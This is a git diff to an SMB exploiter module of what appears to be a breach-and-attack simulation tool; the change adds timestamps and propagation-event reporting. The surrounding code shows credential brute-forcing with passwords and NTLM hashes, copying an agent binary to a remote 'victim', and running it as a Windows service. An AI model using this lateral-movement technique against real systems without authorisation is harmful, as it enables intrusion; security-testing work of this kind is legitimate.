diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index d7e5a6561..e6fc6d85f 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -69,7 +69,7 @@ class SMBExploiter(HostExploiter):
     def _exploit_host(self):
 
         dest_path = get_agent_dst_path(self.host)
-        remote_full_path, creds = self._exploit(dest_path)
+        remote_full_path, creds, timestamp = self._exploit(dest_path)
 
         if not self.exploit_result.exploitation_success:
             if self._is_interrupted():
@@ -93,7 +93,7 @@ class SMBExploiter(HostExploiter):
 
             return self.exploit_result
 
-        self._run_agent_on_victim(scmr_rpc, cmdline)
+        self._run_agent_on_victim(scmr_rpc, cmdline, timestamp)
 
         logger.info(
             "Executed monkey '%s' on remote victim %r (cmdline=%r)",
@@ -112,7 +112,7 @@ class SMBExploiter(HostExploiter):
         )
         return self.exploit_result
 
-    def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials]:
+    def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials, float]:
         agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
         creds = generate_brute_force_combinations(self.options["credentials"])
         for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
@@ -163,7 +163,7 @@ class SMBExploiter(HostExploiter):
                 self._publish_exploitation_event(timestamp, False, error_message=message)
                 continue
 
-        return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash)
+        return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash), timestamp
 
     def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str:
         if remote_full_path.lower() != str(dest_path).lower():
@@ -220,7 +220,7 @@ class SMBExploiter(HostExploiter):
 
         return None
 
-    def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str):
+    def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float):
         scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
         resp = scmr.hROpenSCManagerW(scmr_rpc)
         sc_handle = resp["lpScHandle"]
@@ -239,15 +239,19 @@ class SMBExploiter(HostExploiter):
                 resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
             else:
                 self.exploit_result.error_message = str(err)
-                return self.exploit_result
+                self._publish_propagation_event(start_time, False, error_message=str(err))
+                return
 
         service = resp["lpServiceHandle"]
         try:
             scmr.hRStartServiceW(scmr_rpc, service)
+            self._publish_propagation_event(start_time, True)
             status = ScanStatus.USED
         except Exception:
+            message = "Failed to start the service"
+            self._publish_propagation_event(start_time, False, error_message=message)
             status = ScanStatus.SCANNED
-            pass
+
         self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
         scmr.hRDeleteService(scmr_rpc, service)
         scmr.hRCloseServiceHandle(scmr_rpc, service)